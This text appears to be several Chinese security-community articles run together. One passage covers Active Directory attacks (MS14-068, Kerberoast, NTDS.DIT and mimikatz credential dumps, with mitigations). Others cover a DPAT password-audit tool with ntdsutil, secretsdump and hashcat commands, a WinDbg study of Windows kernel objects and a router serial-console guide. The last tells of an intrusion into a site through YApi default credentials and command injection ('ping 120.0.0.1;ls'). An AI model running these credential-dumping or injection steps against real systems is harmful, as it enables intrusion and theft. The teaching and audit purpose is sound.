1.以标准用户申请一个没有PAC的Kerberos TGT身份验证票证，域控制器会返回一个无PAC的TGT.
2.不使用key生成一个伪造的PAC，所以产生的PAC会使用当前域用户的密码数据来进行MD5而不是HMAC_MD5“签名”。
3.发送 PAC-less TGT和伪造的PAC给域控制器，作为TGS服务票据请求的数据的一部分。
4.之后域控制器会被这个迷惑，它会丢弃由用户发送的PAC-less TGT，并且创建一个新的TGT然后在它自己的授权数据中插入伪造的PAC
,接着发送该TGT给用户。
5.这个拥有伪造PAC的TGT使用户对于一个有漏洞的DC而言成为了一个域管理员。
Benjamin
Delpy(Mimikatz的作者）写了一个MS14-068漏洞利用工具他的名称为Kekeo。这个工具的效果比pykek要好.下面是一个示范>
**缓解措施：**
1.运行DCPromo进程前检测是否安装了KB3011780补丁.使用powershell快速检测:get-hotfix 3011780
2.此外，实施自动化的过程，确保强制安装严重漏洞的补丁
3.离线破解 Kerberos TGS Service Ticket( Kerberoast)
Kerberoast可以作为一种从Active
Directory中以一个普通用户权限提取服务帐户凭据的有效的方法,而且不需要发送任何数据包到目标系统。因为人们往往会使用弱口令,因而这种攻击是有效的。
Note: 使用这种方式,不需要提升权限,也不会向目标发送流量.
针对这种攻击的详细情况:[https://files.sans.org/summit/hackfest2014/PDFs/Kicking%20the%20Guard%20Dog%20of%20Hades%20-%20Attacking%20Microsoft%20Kerberos%20%20-%20Tim%20Medin%281%29.pdf](https://files.sans.org/summit/hackfest2014/PDFs/Kicking%20the%20Guard%20Dog%20of%20Hades%20-%20Attacking%20Microsoft%20Kerberos%20%20-%20Tim%20Medin%281%29.pdf)
工具：[https://github.com/nidem/kerberoast](https://github.com/nidem/kerberoast)
**缓解措施：**
1.域管理员的账号不能以任何形式在普通主机上登录.
2.所以机器的本地管理员账号密码要复杂,随机.
访问域数据库文件(NTDS.DIT)
域数据库文件(NTDS.DIT)包含了域中所有对象的信息,其中我们最为关注的是其中还包含了所有用户的账号和密码的hash值.NTDS.DIT文件只有能登录到域控制器上的用户才有可能访问得到.显然保护该文件非常重要.
下面是一些不需要域管理员权限来获取NTDS.DIT文件的方法.
找NTDS.DIT文件备份位置
在成员服务器上找NTDS.DIT文件
拿到了虚拟机宿主机的权限,把虚拟机中的域控制器中的 NTDS.DIT拷贝出来
域中有很多的组,其中能登录到域控制器的组有
Enterprise Admins (member of the domain Administrators group in every domain
in the forest)
Domain Admins (member of the domain Administrators group)
Administrators
Backup Operators
Account Operators
Print Operators
这意味着如果我们能拿到一个位于这些组中的用户的账号密码我们就可以登录到域控制器了.
**缓解措施：**
限制能登录到域控制器的用户和组
限制拥有完全域权限的用户
保护NTDS.DIT文件.
**当我们有了域管理员权限之后……**
当我们拿到域管理员权限后,要做的最重要的事就是 dump所有域用户的凭证.
使用mimikatz dump所有域凭据
**mimikatz可以在域控制器上dump所有域凭据**
**Dump LSASS memory with Mimikatz (拿到域管理员凭据)**
mimikatz可以被用来dump LSASS然后从LSASS.dmp 文件中导出所有已经登录了的账号密码.在域控制器中这通常会得到域管理员的凭据.
**使用ntdsutil拿到NTDS.dit文件**
**从NTDS.dit文件中dump用户凭据**
一旦攻击者从注册表中拿到了 system hive(reg save hklmsystem
c:system.hive)和NTDS.dit文件,就意味着他拿到了域中的所有凭据. | 社区文章 |
# 【工具分享】DPAT：域密码导出可用于Hashcat破解
|
##### 译文声明
本文是翻译文章，文章来源：github.com
原文地址：<https://github.com/clr2of8/DPAT>
译文仅供参考，具体内容表达以及含义原文为准。
**简介**
****
这个工具其实就是一个python脚本，它搜集在密码破解的过程中从域控dump出的密码hash，还有从由oclHashcat工具生成的oclHashcat.pot密码破解文件中的信息。它生成的报告是一个包含一些链接的HTML文件。
完整的视频tutorial和demo可以戳下面这个视频：
你可以这样运行这个python脚本：
dpat.py -n customer.ntds -c oclHashcat.pot -g "Domain Admins.txt" "Enterprise Admins.txt"
注意末尾的 **-g "Domain Admins.txt "Enterprise Admins.txt"** 是可选的。你可以使用项目中的
**sample_data** 目录中的sample文件试一下这个功能。sample数据都是从著名的rockyou字典文件中提取的姓、名以及密码。
**customer.ntds** 文件内容应该是这样的格式：
domainusername:RID:lmhash:nthash:::
你可以在域控管理员的命令行中执行以下命令，然后dump出密码hash，然后就可以得到这个文件了。不过得保证你有足够的存储空间存储输出在c:temp
目录下的文件。因为需要的存储空间量可能比当前的ntds.dit文件略微大一些，因为这个命令会备份ntds.dit文件而且还要添加一些设置信息。
ntdsutil "ac in ntds" "ifm" "cr fu c:temp" q q
还可以用[secretsdump.py](https://github.com/CoreSecurity/impacket/blob/master/examples/secretsdump.py)这个工具转换一下输出的格式。
secretsdump.py -system registry/SYSTEM -ntds Active Directory/ntds.dit LOCAL -outputfile customer
以上命令会生成一个 **customer.ntds** 文件，然后你就可以用本文这个 **dpat.py** 工具来破解密码啦！
你的oclHashcat文件格式应该是这样的(其实就是oclHashcat的默认输出格式)：
nthash:password
对于LM Hash就是
lmhashLeftOrRight:leftOrRightHalfPasswordUpcased
DPAT工具还支持来自 **JohnTheRipper** 的输出(格式跟oclHashcat.pot差不多，只是加了$NT$和$LM$)。
可选的"-g"选项后面跟的是多个文件列表，其内容为特定组(比如"Enterprise Admins" 或者 "Domain
Admins")中的用户列表。这个文件的格式可以就是[PowerView
PowerShell脚本](https://github.com/PowerShellMafia/PowerSploit/tree/master/Recon)
生成的文件格式。
Get-NetGroupMember -Recurse -GroupName "Domain Admins" > "Domain Admins.txt"
或者你还可以用以下命令从其他域读取组(注意其他域和域控的名字可以通过 **Get-NetForestDomain** 得到)。
Get-NetGroupMember -Recurse -GroupName "Enterprise Admins" -Domain "some.domain.com" -DomainController "DC01.some.domain.com" > "Enterprise Admins.txt"
或者组文件内容可以直接就是用户列表，一行一个。格式如下：
domainusername
此外，DPAT工具还有一个实用的功能，它可以在NT hash未被破解的情况下破解LM
hash。当然前提是你已经用oclHashcat破解了所有的7个字符密码。
./oclHashcat64.bin -m 3000 -a 3 customer.ntds -1 ?a ?1?1?1?1?1?1?1 --increment
或者用JohnTheRipper破解LM hash
john --format=LM customer.ntds
查看所有DPAT的选项可以用-h 和 –help 选项。
usage: dpat.py [-h] -n NTDSFILE -c CRACKFILE [-o OUTPUTFILE]
[-d REPORTDIRECTORY] [-w] [-s]
[-g [GROUPLISTS [GROUPLISTS ...]]]
这个脚本会根据NTDS文件以及从密码破解工具(如oclHashcat)的输出中提取出来的内容进行域密码审计。
可用选项如下：
**赞助来自**
[Black Hills Information Security](http://www.blackhillsinfosec.com/) | 社区文章 |
# Windows内核对象管理全景解析前奏
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0、引言
学习过Windows内核的或者从事过内核安全开发再或者从事过驱动开发的同事，必然都遇到过或者听说过这样一个概念——“内核对象管理”，然而对于这个问题，潘爱民老师的那本《Windows内核原理与实现》对齐提及甚少，但毛德操老师的《Windows内核情景分析》又不是基于Windows的源码进行分析的。对于这个问题，我曾深入研究分析过，处理通常的理论说教外，更多的是在Windbg调试器中带着大家亲自走一遍分析的过程，知其然又知其所以然。学完会发现Windows内核实现了一个小型的类似文件系统的结构来管理内核对象。
涉及到的知识：
1、Windows内核对象；
2、Windows内核对象管理；
3、Windbg内核调试；
4、Windbg的常规使用；
## 1、内核对象简介
首先大家别被这个名字唬住了，内核对象=内核+对象；先解释“对象”这个名字，这个与CPP中的类的实例是一个道理，即类的实例化便是一个到底，再往底层了说就是按照类这个模板，为其分配一块内存，并作相应的初始化，就这么简单，可别忘了，操作系统也是用代码写成的，只不过不同于CPP中的类，而是用的C中的结构体。在一个概念就是“内核”，可别被这玩意整蒙了，这里所谓的内核无非就是跑在系统空间里的实例对象，即对象的内存地址分配在系统空间中的对象即为内核对象。好了，名字的事情搞明白了，下边接着分析。
## 2、内核对象的构成
我们都知道，像CPP，JAVA，C#等等，这类面向对象的编程语言有一个很重要的特性就是“继承”。所谓的继承一句话总结下就是：拿来主义，子承父业。无非是实现代码复用，而这种复用的语法很
简单，就是通过”继承”来实现了，简化了复用的整个过程。除了复用之外，还有一个好处便是能够实现多态，通过基类指针就能够访问子类中该写过的虚函数，这种基于同一个接口实现不同功能的方式便是多态的核心了。通过一套统一的接口就能够达到统一管理的目的，不得不说，CPP的成功本质是编程思想的成功。然而C语言中，没有继承这个概念，那么多态啥的就跟他没一丁点关系了。难道伟大的C语言真就被这么个小玩意难住了吗？显然没有，诺，这里的内核对象管理就另辟蹊径，把C玩出了CPP的味道，不得不说，C就是这么伟大。微软的解决方案是：
对象头+对象体
对象头便是相当于CPP中的基类，负责管理一些简单的，所有对象共有的属性；诸如进程对象头，线程对象头，文件对象头，调试对象头等等；
对象体相当于CPP中的继承的子类，代表着具体的某个对象；诸如进程对象，线程对象，文件对象，调试对象等等；
具体的内存布局如下图所示：
但别觉得对象头就很简单，类似于CPP中的一个类中有很多字段属性一样，Windows内核中实现的对象头又是有很多个不同的组成部分组成的，这些独立的组成部分是否存在则由一个总的字段来进行管理的，具体的简化图如下图所示：
## 3、Windows内核对象头的内存结构
这里以Win7为例来讲解下Windows内核中具体的实现，第一个结构体当然是nt!_OBJECT_HEADER，具体实现如下图：
字段稍微解释下：
+0x000 PointerCount : 以指针访问该对象的次数，内核里诸如ObReferenceObjectByHandle()函数根据句柄访问该对象时,会加1操作此字段
+0x004 HandleCount : 以句柄访问该对象的次数
+0x004 NextToFree : 对象管理相关，用于记录链表中下一个空闲状态的对象，可忽略之
+0x008 Lock : 推锁，用于同步访问当前该对象
+0x00c TypeIndex : 该对象的索引号，此索引号是对象类型对象的数组索引号，后边会讲解
+0x00d TraceFlags : UChar
+0x00e InfoMask : 用以记录该对象头其他部分，即补充的对象头有哪些
+0x00f Flags : 一些标志位
+0x010 ObjectCreateInfo : Ptr32 _OBJECT_CREATE_INFORMATION,对象的创建信息
+0x010 QuotaBlockCharged : Ptr32 Void,对象的配额信息
+0x014 SecurityDescriptor : Ptr32 Void,对象的安全描述符信息
+0x018 Body : _QUAD,对象体,这个是对象相关的部分
与我们当前强相关的两个字段是InfoMask和Body。对于InfoMask需要详细的分析下，因为这个字段直接关系在对象头的可变部分到底是怎么定位的。可变对象头在Win7中共分为5类，如下：
nt!_OBJECT_HEADER_CREATOR_INFO //对象的创建者信息
nt!_OBJECT_HEADER_NAME_INFO //对象的名字信息
nt!_OBJECT_HEADER_HANDLE_INFO //对象的句柄信息
nt!_OBJECT_HEADER_QUOTA_INFO //对象的配额信息
nt!_OBJECT_HEADER_PROCESS_INFO //对象的进程信息
后边我们会来手动找数据对比分析这些结构体的数据。那另一个问题来了，如何确认这些可变对象头存在与否呢？那就是InfoMask的作用了，且看InfoMask的具体bit的含义：
#define OB_INFOMASK_CREATOR_INFO 0x01
#define OB_INFOMASK_NAME 0x02
#define OB_INFOMASK_HANDLE 0x04
#define OB_INFOMASK_QUOTA 0x08
#define OB_INFOMASK_PROCESS_INFO 0x10
正好对应着每一个可变对象头的结构体，ok，下一个关键问题就是，即使指导某个可变对象头是存在的，那又如何定位到该可变对象头的具体位置呢？这个简单，以nt!_OBJECT_HEADER为基准，往前减去对应可变对象头的偏移就ok，现在整个对象头可以整理如下：
## 4、以进程对象来观察对象头和可变对象头
下边我们以具体的实例来讲解这些字段的具体函数以及其他相关的信息。在系统中运行notepad.exe这个记事本进程，然后产看其具体的对象头信息，如下:
2: kd> !process 0 0 notepad.exe
PROCESS a20f4d40 SessionId: 1 Cid: 0f1c Peb: 7ffdd000 ParentCid: 0524
DirBase: be6e2540 ObjectTable: 00000000 HandleCount: 0.
Image: notepad.exe
PROCESS这个字段信息表征的就是nt!_OBJECT_HEADER中的Body部分，现在根据他来找到对象头的起始地址，nt!_OBJECT_HEADER.Body的偏移是0x18，那么nt!_OBJECT_HEADER的位置自然就是Body往前倒推0x18了，即:
2: kd> ?a20f4d40-0x18
Evaluate expression: -1576055512 = a20f4d28
ok，得到了nt!_OBJECT_HEADER在内存中的虚拟地址，下边就开始解析，如下：
由上图可知，InfoMask为0x08，等于OB_INFOMASK_QUOTA，即在之前存在nt!_OBJECT_HEADER_QUOTA_INFO，下边先来看一下nt!_OBJECT_HEADER_QUOTA_INFO这个结构体的大小：
2: kd> ??sizeof(nt!_OBJECT_HEADER_QUOTA_INFO)
unsigned int 0x10
## 5、nt!_OBJECT_HEADER之PointerCount分析
除此
之外，我们还能知道，通过PointerCount引用这个对象的次数为1，通过句柄应用这个对象的次数也为1。这两个字段的作用又是什么呢？当然是管理对象的生存周期了，CPP中或者JAVA中，智能指针不就这么干的嘛。下边通过内核代码来分析下，系统是如何使用这个字段的，如下：
由上图可知，ObReferenceObjectByPointerWithTag()内部通过传入的对象的Body地址计算出对象头的内存地址，然后调用InterlockedExchangeAdd()对其进程加1操作，而这个被加1的字段正式_OBJECT_HEADER.PointerCount。类似的，我们再分析下另一个函数，看看是如何减1操作的。
## 6、nt!_OBJECT_HEADER之HandleCount分析
现在分析下HandleCount这个字段，但现在换一个思路，因为很多初学者并不知道系统的哪个函数来读写此字段，或者即使找到了也不知道如何定位到关键的代码点。现在我们用调试的方式来查找读写此处的关键API。随便选一个进程，如下：
0: kd> !process WmiPrvSE.exe 0
PROCESS a3f0ed40 SessionId: 0 Cid: 0b70 Peb: 7ffdf000 ParentCid: 02c0
DirBase: be6e2480 ObjectTable: b3bf0758 HandleCount: 250.
Image: WmiPrvSE.exe
0: kd> dt nt!_OBJECT_HEADER a3f0ed40-18
+0x000 PointerCount : 0n73
+0x004 HandleCount : 0n6
+0x004 NextToFree : 0x00000006 Void
+0x008 Lock : _EX_PUSH_LOCK
+0x00c TypeIndex : 0x7 ''
+0x00d TraceFlags : 0 ''
+0x00e InfoMask : 0x8 ''
+0x00f Flags : 0 ''
+0x010 ObjectCreateInfo : 0x83f74c40 _OBJECT_CREATE_INFORMATION
+0x010 QuotaBlockCharged : 0x83f74c40 Void
+0x014 SecurityDescriptor : 0xb3bf415f Void
+0x018 Body : _QUAD
然后下一个内存写断点：
0: kd> ba w4 a3f0ed40-18+4
调用栈如下：
0: kd> k
# ChildEBP RetAddr
00 b2e47934 8406278c nt!ObpIncrementHandleCountEx+0x1df
01 b2e479a0 840bafde nt!ObpCreateHandle+0xff
02 b2e47b20 840bb043 nt!ObOpenObjectByPointerWithTag+0xc1
03 b2e47b48 840b8e02 nt!ObOpenObjectByPointer+0x24
04 b2e47cfc 840c155e nt!PsOpenProcess+0x231
05 b2e47d1c 83e8342a nt!NtOpenProcess+0x2d
06 b2e47d1c 76f664f4 nt!KiFastCallEntry+0x12a
07 02a3f680 76f651dc ntdll!KiFastSystemCallRet
08 02a3f684 751291b6 ntdll!NtOpenProcess+0xc
09 02a3f6c0 6ec4ac13 KERNELBASE!OpenProcess+0x49
WARNING: Stack unwind information not available. Following frames may be wrong.
0a 02a3f728 6ec56294 wmiprvsd!DllGetClassObject+0x11159
0b 02a3f750 6ec3071d wmiprvsd!DllGetClassObject+0x1c7da
0c 02a3f7ac 6ec303d8 wmiprvsd!DllCanUnloadNow+0xbd37
0d 02a3f820 6ec301f9 wmiprvsd!DllCanUnloadNow+0xb9f2
0e 02a3f8b4 6ec2ff5e wmiprvsd!DllCanUnloadNow+0xb813
0f 02a3f988 6ec37f68 wmiprvsd!DllCanUnloadNow+0xb578
10 02a3f9f4 6ec2b471 wmiprvsd!DllCanUnloadNow+0x13582
11 02a3fa3c 6ec2b1e0 wmiprvsd!DllCanUnloadNow+0x6a8b
12 02a3fac0 6f1b7502 wmiprvsd!DllCanUnloadNow+0x67fa
13 02a3fb34 6f1b6899 wbemcore!DllCanUnloadNow+0x4399
14 02a3fb80 6f1bceca wbemcore!DllCanUnloadNow+0x3730
15 02a3fbb0 6f1bfd5c wbemcore!DllGetClassObject+0x1d42
16 02a3fcf4 6f1bdf2c wbemcore!DllGetClassObject+0x4bd4
17 02a3fe0c 6f1bdd80 wbemcore!DllGetClassObject+0x2da4
18 02a3fe5c 6f1bfc6e wbemcore!DllGetClassObject+0x2bf8
19 02a3feb4 6f1b37a2 wbemcore!DllGetClassObject+0x4ae6
1a 02a3fee8 6f1b3747 wbemcore!DllCanUnloadNow+0x639
1b 02a3ff34 6f1b2326 wbemcore!DllCanUnloadNow+0x5de
1c 02a3ff6c 6f1b23f4 wbemcore+0x2326
1d 02a3ff84 76d51174 wbemcore+0x23f4
1e 02a3ff90 76f7b3f5 kernel32!BaseThreadInitThunk+0xe
1f 02a3ffd0 76f7b3c8 ntdll!__RtlUserThreadStart+0x70
20 02a3ffe8 00000000 ntdll!_RtlUserThreadStart+0x1b
根据调用栈可知，关键的API是nt!ObOpenObjectByPointer，现在来逆向分析下该API，
从整个调用链的分析过程可知，是用户态进程调用了KERNELBASE!OpenProcess()，然后引发的一系列的调用操作，从这里也可以推出来，nt!_OBJECT_HEADER.HandleCount这个字段主要用户记录用户态通过句柄访问该对象的次数。当然，对齐做的减1操作的分析过程就留给大家了。
## 7、内核对象类型对象分析
大家读到这个词可能有点拗口，啥意思呢。这个句子可以这么断开来，内核对象 类型
对象，即内核对象的类型也是个对象，我们现在对这个类型对象进行分析。玩过Python的人都知道一句话，Python中一切皆对象，其实Windows中又何尝不是呢。此外，Python的内核实现与我们这边分析的Windows内核对象管理的相似度99.999%，这个有机会后边给大家对比分析下两者实现的源码。扯远了，现在回来看一下这个类型对象所谓何物。nt!_OBJECT_HEADER.TypeIndex这个字段代表着当前的这个对象再对象类型数组中的索引号，那么这个数组的起始地址在哪呢？类型对象自身的类型又是什么呢？下边一一来回答这两个问题。
第一个问题：这个数组的起始地址为nt!ObpObjectTypes；
第二个问题：类型对象的结构体为dt nt!_OBJECT_TYPE；
我们先来分析下dt nt!_OBJECT_TYPE，如下：
0: kd> dt nt!_OBJECT_TYPE
+0x000 TypeList : _LIST_ENTRY //隶属于同一个类型对象的实例
+0x008 Name : _UNICODE_STRING //该对象的名字
+0x010 DefaultObject : Ptr32 Void
+0x014 Index : UChar //该对象在对象类型对象数组中的索引号
+0x018 TotalNumberOfObjects : Uint4B //以指针形式引用该对象的次数
+0x01c TotalNumberOfHandles : Uint4B //以句柄形式应用该对象的次数
+0x020 HighWaterNumberOfObjects : Uint4B //用于记录以指针形式引用该对象的最高次数，该字段一般用于统计，性能优化
+0x024 HighWaterNumberOfHandles : Uint4B //用于记录以句柄形式应用该对象的最高次数，该字段一般用于统计，性能优化
+0x028 TypeInfo : _OBJECT_TYPE_INITIALIZER // 具体的对象类型初始化字段
+0x078 TypeLock : _EX_PUSH_LOCK // 互斥访问锁
+0x07c Key : Uint4B
+0x080 CallbackList : _LIST_ENTRY
0: kd> dt nt!_OBJECT_TYPE_INITIALIZER
+0x000 Length : Uint2B
+0x002 ObjectTypeFlags : UChar
+0x002 CaseInsensitive : Pos 0, 1 Bit
+0x002 UnnamedObjectsOnly : Pos 1, 1 Bit
+0x002 UseDefaultObject : Pos 2, 1 Bit
+0x002 SecurityRequired : Pos 3, 1 Bit
+0x002 MaintainHandleCount : Pos 4, 1 Bit
+0x002 MaintainTypeList : Pos 5, 1 Bit
+0x002 SupportsObjectCallbacks : Pos 6, 1 Bit
+0x004 ObjectTypeCode : Uint4B
+0x008 InvalidAttributes : Uint4B
+0x00c GenericMapping : _GENERIC_MAPPING
+0x01c ValidAccessMask : Uint4B
+0x020 RetainAccess : Uint4B
+0x024 PoolType : _POOL_TYPE
+0x028 DefaultPagedPoolCharge : Uint4B
+0x02c DefaultNonPagedPoolCharge : Uint4B
+0x030 DumpProcedure : Ptr32 void
+0x034 OpenProcedure : Ptr32 long
+0x038 CloseProcedure : Ptr32 void
+0x03c DeleteProcedure : Ptr32 void
+0x040 ParseProcedure : Ptr32 long
+0x044 SecurityProcedure : Ptr32 long
+0x048 QueryNameProcedure : Ptr32 long
+0x04c OkayToCloseProcedure : Ptr32 unsigned char
nt!_OBJECT_TYPE_INITIALIZER结构体主要是存储一些属性信息，特别是一些权限校验和默认的函数过程。特别有意思的是SupportsObjectCallbacks字段，修改该字段可以绕过系统提供的安全保护措施。现在来看下这个系统全局的对象类型对象数组，如下：
0: kd> dd nt!ObpObjectTypes
83f81aa0 a19378e0 a1937818 a1937750 a1937508
83f81ab0 a19c2040 a19c2f78 a19c2eb0 a19c2de8
83f81ac0 a19c2d20 a19c2668 a19e2330 a19ea418
83f81ad0 a19ea350 a19e9418 a19e9350 a19e89b8
83f81ae0 a19e88f0 a19e8828 a19e8760 a19e8698
83f81af0 a19e85d0 a19e8508 a19e8440 a19e8378
83f81b00 a19e7040 a19e7f78 a19e7eb0 a19e7160
83f81b10 a19f3f78 a19f3eb0 a19f3de8 a19f3930
notepad进程对象的TypeIndex为0x07，那么是否意味着是nt!ObpObjectTypes[7]呢？假设是的话，我们来看下数据：
显然是有问题的，因为我们看的这个明明是notepad这个进程对象，但这里的名字却是“UserApcReserve”，如果这个还不足以打消你的疑虑，那TotalNumberOfObjects和TotalNumberOfHandles总归最好的证明了吧。既然TypeIndex不是这么简单的映射到nt!ObpObjectTypes数组的下标，那么这里的映射关系又是怎样的呢？最好的办法当然是去内核中寻找答案。
## 8、TypeIndex与nt!ObpObjectTypes数组的映射关系
与这个索引映射关系最为直接的是ObCreateObjectTypeEx()函数，该函数的关键代码整理如下：
由此可见，nt!_OBJECT_TYPE.Index这个是从2开始的，且2一定是分配给ObpTypeObjectType的，好的，现在来查看下是不是我们分析的这个结果。
0: kd> dd nt!ObpTypeObjectType l1
83f81a94 a19378e0
0: kd> dt nt!_OBJECT_TYPE a19378e0
+0x000 TypeList : _LIST_ENTRY [ 0xa19378b8 - 0xa240b610 ]
+0x008 Name : _UNICODE_STRING "Type"
+0x010 DefaultObject : 0x83f81ba0 Void
+0x014 Index : 0x2 ''
+0x018 TotalNumberOfObjects : 0x2a
+0x01c TotalNumberOfHandles : 0
+0x020 HighWaterNumberOfObjects : 0x2a
+0x024 HighWaterNumberOfHandles : 0
+0x028 TypeInfo : _OBJECT_TYPE_INITIALIZER
+0x078 TypeLock : _EX_PUSH_LOCK
+0x07c Key : 0x546a624f
+0x080 CallbackList : _LIST_ENTRY [ 0xa1937960 - 0xa1937960 ]
再看看nt!ObpObjectTypes数组的第一项也正是a19378e0
OK，验证正确，现在就看下我们所需要核验的notepad进程的类型对象。7-2=5，所以我们就应该分析nt!ObpObjectTypesp[5]，如下：
## 9、总结
ok，暂且先到这，这篇文章讲述的主要是内核对象的比较细节的知识点，大家需要自己亲自做个实验分析一下，文中是以Win7
32为例分析的，其他版本的Windows内核实现可能有差异，但基本原理是一致的。文章中给大家留的那个分析的作业也希望大家做一下。下一篇将会再这篇的基础上构建出一副完整的内核对象管理全景图，你会发现，Windows其实是实现了一个小型的类似文件系统的东西来管理内核对象的。 | 社区文章 |
# 获取WAG54G家用路由器的控制台访问权限
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
原文地址：<https://www.elttam.com.au/blog/gaining-console-access-to-the-WAG54G-home-router/>
译文仅供参考，具体内容表达以及含义原文为准。
获取WAG54G家用路由器的控制台访问权限
向初学者介绍如何焊接以及连接到串行端口
图解如何鉴别以及连接Linksys WAG54G家用路由器的引出线，方便调试和开发。
**简介**
这个博客是讲解如何识别WAG54G家用路由器的串行端口，以及如何连接header
pins，和获取设备的控制访问权。虽然这很简单，但却是对这类型设备进行运行分析的重要一步。
最近几年，利用硬件攻击软件安全的领域变得十分热门。原因是：
1\. 业余爱好者能承担得起测试设备的成本（示波器、逻辑分析仪、SDR等）
2\. 嵌入设备为顾客提供了廉价且足够强大而丰富的功能，而且它们大多相互关联，并且会暴露与安全研究员相关的攻击界面。
3\. 大量资料的出现，使得从业人员的门槛降低。
我在这个方面的兴趣始于我想对WAG54G家用路由器做安全评估。我原来的兴趣主要是，研究在留下最少的足迹的同时，对家庭网络进行持续的攻击。目标包括大多数人电脑上运行的Linux系统以及Windows系统，在每次计算机重启时对虚拟计算机进行强化。与对管理程序的漏洞做审查不同的是，我选择对家用路由器做审查，因为这是家用网络的唯一出口，这使得中间人攻击以及负载虚拟计算机成为可能，它也可以直接接入互联网，可以直接连接C&C，为了做这项调查，我需要先获得本地连接。
# Linksys WAG54G-AU
# Linksys WAG54G-AU是一款2.4GHz 802.11g
ADSL调制解调器/路由器，有4个10/100的以太网端口，支持DHCP和VPN，以及一些基本的网络安全服务。下面的几张图片将展示设备开箱前与开箱后的样子。
# 拆解路由器
# 为了找到设备的串行端口，我们要先取下四个橡胶垫，然后我们会看到4个可以拧开的Torx T10螺丝。
留心的读者可能会注意到，在其中一个橡胶垫上有一个防篡改标签，当我们取掉它时，外壳上会留有一个印着“VOID”的标识。
在取掉外壳后，我们能看到电路板，以及内存，CPU（SoC）,以及其他一些集成电路，比如WiFi控制器。如果你想很清楚的了解它们如何连接，如何运作，那么这会非常有用。我们可以用每个元器件上的唯一标识符在上网搜索相应的数据表。但是在这个例子中，我们只是要找到串行通信的pin（微处理器的对外引脚），所以找数据并不是我们所需的。
有几个方法可以用来寻找串行接口
1\. 识别PCB上的符号，通过参照数据表或者网上资源鉴别。
2\. 识别电路板上的UART控制器
3\. 寻找一些与要找的有关的4 pin，比如RX、TX、VCC、GND
在我们的例子中，我们采用最后一种方案，在电路板的底面，通过焊点孔以及pin布局可以很好识别。当然也可以通过微量线以及识别元件的接头连接。
在上边的图片中，我们发现左上角有个有趣的组合，下面的图片是放大的底缝连接图，我们可以很容易看到pin1和pin 5是如何连接的。
下面的图片是放大的电路板的顶端，我们能看到pin3和pin4间有微量线连接，只有2号pin没有与任何东西进行连接。
在这点上，我们可以用万用表测试每个焊接点，验证它们的功能，这可以证明它们在串行通信中起作用：
* pin1：这是一个地线接点。如果要验证此测试，将探针放到一个接地的部件如WiFi控制器上，并将另一个探针对准其他的pin，如果蜂鸣器有响声，这意味着两个路径之间存在很小的电阻。
* pin2：它没有与任何部件连接。
* pin3：这个应该是RX，在设备启动过程中，电压从3.28v降到3.27v。通过将一个探针接地，另一个探针放到pin上。我们可以在万用表上看到电压下降。
* pin4：这应该是TX，在设备的启动过程，电压在3.28v 到2.6V间波动。这应该与启动消息发送到控制台有关，通过将一个探针接地，另一个探针接pin上。在设备的启动过程中，我们可以看到万用表上的电压在波动。
* pin5：这个应该是VCC，电压一直在3.28v。通过将一个探针接地，另一个探针接pin上。
如果没用过万用表或者对这个过程不熟悉，可以看这篇文章<http://www.devttys0.com/2012/11/reverse-engineering-serial-ports/>.
在了解到这些信息后，我们就足以假设我们找到了正确的串口及其对应的pin配置，然后我们可以开始测试。通过烙铁以及吸除工具，我们可以清除现有的接头的焊料以及连接5号
headerpins。
我们可以通过使用Bus Pirate连接串行端口。其各种协议的文档比较全面详尽，在我们的例子中，我们使用如下方法：
Bus Pirate IO
Pin描述：<http://dangerousprototypes.com/docs/Bus_Pirate_I/O_Pin_Descriptions>
Bus Pirate UART 配置：<http://dangerousprototypes.com/bus-pirate-manual/bus-pirate-uart-guide/>
Pin配置如下：
* Bus Pirate (MOSI) -> Pin 3
* Bus Pirate (MISO) -> Pin 2
* Bus Pirate (GND) -> Pin 1
*
在将Bus Pirate连接到WAG54G，我们还需要将其通过如下步骤连接到我们的工作站：
1\. 通过USB将bus pirate连接到Windows工作站
2\. 打开设备管理器，找到与Bus pirate 对应的COM口，在我们的例子中，使用COM4
3\. 打开Putty，选择“Serial”单选按钮，在串行输入框键入COM4。
4\. 将波特率调整至38400bps
5\. 单击打开
将bus pirate连接到工作站后，最后一步是配置串行通信，使用Putty，执行以下命令：
m
select UART (3)
select 38400bps (7)
select 8,NONE (1)
select 1 stop bits (1)
select idle 1 receive polarity (1)
select normal (H=3.3V,L=GND) (2)
look at the macro menu (0)
select (3) bridge mode.
我们现在已经成功将bus pirate连接到工作站以及WAG54G上，我们可以打开路由器，看到Putty上出现了Linux的启动过程的日志信息。
# **结论**
# 至此，我们已经成功获得了 WAG54G
的控制台访问权限。这对于在进入设备进行安全研究以及开发是相当有用的，可以成为硬件黑客的一个起始（比如附加的USB驱动程序，或者重新刷新组件）。在以后的博客中，我会介绍审查漏洞以及在开发过程中如何访问控制台的方法。
* * * | 社区文章 |
各位师傅勿喷，写的不好见谅
今天又是想一巴掌扇死领导的一天
又是吃老板画饼的一天
目标url:xxxx.info（非法站点）
目前这套ui看见过很多套了，有的是tp框架有的shiro
日常扫描器工作时间到，打开tp扫描器
扫了一遍tp漏洞无果，这是为什么呢
前台爆破无果，我本来想钓鱼下客服，但客服不跟领导一样摸鱼高手
老规矩扫扫端口：
这玩意还挂cdn不讲武德了
ip还这么多，当我翻着翻着的时候发现这些ip有一个开着ssh的
这不就有路子来了吗，先扫扫看有啥玩意
这不是YApi吗-看看开放注册没，rce我来了
本来想到这里结束的，YApi-rce师傅感兴趣可以百度看看(关键字：yapi rce )就有很多
俗话说点到为止，但我偏不，试下默认弱口令
真是好得很
一个会员接口就有1000多个真是给我长见识了
翻了很久没啥有用的
正当我放弃的时候，你猜怎么着，奇迹来了
调用还要两个参数
一个cmdping估计是ip，这个key应该是秘钥
然而白给
你真是，备注里有key，当然要是过期了咋搞（过期了就不会有这篇文章了）
ip只开放了 22,3000,80和443,8012
80和443返回403，对应接口无效
8012端口成功返回
格局打开了套上之前的参数看看
返回
linux的话rce比如ping 120.0.0.1;ls，这样会执行到最后一个命令或者错误
当然先看看是不是rce，看看权限
6，人麻了，下机，拿shell下机。 | 社区文章 |
# XSSI攻击探究
|
##### 译文声明
本文是翻译文章，文章来源：黑暗行者
